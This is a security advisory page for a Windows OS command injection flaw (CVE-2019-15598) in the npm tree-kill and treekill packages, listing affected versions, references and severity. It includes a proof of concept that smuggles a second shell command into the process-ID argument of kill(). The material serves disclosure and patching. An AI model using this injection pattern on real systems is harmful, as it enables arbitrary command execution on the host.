Treekill Enables OS Command Injection
A Code Injection exists in treekill and tree-kill on Windows which allows a remote code execution when an attacker is able to control the input into the command.
Steps To Reproduce:
Create the following PoC file:
var kill = require('treekill');
kill('3333332 & echo "HACKED" > HACKED.txt & ');
Execute the following commands in terminal:
npm i treekill # Install affected module
dir # Check *HACKED.txt* doesn't exist
node poc.js # Run the PoC
dir # Now *HACKED.txt* exists :)
The HACKED.txt has been created
Affected software
Click a technology to see all vulnerabilities affecting it.
| Platform | Package | Vulnerable versions | Fixed in |
|---|---|---|---|
| npm package | tree-kill | < 1.2.2 | 1.2.2 |
References
- https://nvd.nist.gov/vuln/detail/CVE-2019-15598
- https://github.com/pkrumins/node-tree-kill/issues/30
- https://github.com/pkrumins/node-tree-kill/pull/31
- https://github.com/pkrumins/node-tree-kill/commit/ff73dbf144c4c2daa67799a50dfff59cd455c63c
- https://hackerone.com/reports/701183
- https://hackerone.com/reports/703415
- https://github.com/node-modules/treekill/blob/master/index.js#L32
- https://github.com/pkrumins/node-tree-kill
- https://security.snyk.io/vuln/SNYK-JS-TREEKILL-536781
- CVSS vector
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H- Weakness (CWE)
CWE-78- Platform
- npm
- Package
tree-kill- Disclosed
- 24.05.2022
- Updated
- 11.10.2026 10:22
Sources and licenses
OSV / GitHub Advisory Database - GHSA-j7fq-p9q7-5wfv - CC BY 4.0
Vulnerability history: tree-kill
All published vulnerabilities of this package (npm package), newest first. Shows whether this is a one-off slip or a package that needs watching.
- Total entries
- 2
- First → latest
- 09.2020 05.2022
- Without a fix
- 0
- Exploited in attacks
- 0
Severity breakdown
- Critical 1
- High 1
Disclosures per year
- 2020: 1
- 2021: 0
- 2022: 1
- 2023: 0
- 2024: 0
- 2025: 0
- 2026: 0
-
Treekill Enables OS Command Injection this entry
Know which vulnerabilities affect your application
With the DockRay integration and software inventory enabled, DockRay checks reported component versions against known vulnerabilities and notifies you about confirmed matches. Coverage depends on the supported technology and available advisory data.